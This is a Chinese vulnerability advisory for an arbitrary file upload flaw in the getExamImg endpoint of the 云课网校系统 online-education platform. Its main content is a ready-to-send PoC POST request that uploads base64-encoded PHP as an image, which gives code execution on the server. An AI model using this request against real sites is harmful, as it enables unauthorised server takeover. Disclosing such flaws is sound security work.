云课网校系统 getExamImg存在任意文件上传漏洞

2025-06-18 云课网校系统 PoC Public

Description

云课网校系统是一款开源在线教育网站平台，主要用于在线点播、在线直播、题库等功能，非常适合于个人和小型机构创建自己的在线教育网站。云课网校系统getExamImg 存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。

PoC

POST /index/Exam/getExamImg HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

src_data=data:image/php;base64,PD9waHAgZWNobyBtZDUoIkRWVUNlTVpHIik7dW5saW5rKF9fRklMRV9fKTs/Pg==

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2025-9411.html

References

Related Vulnerabilities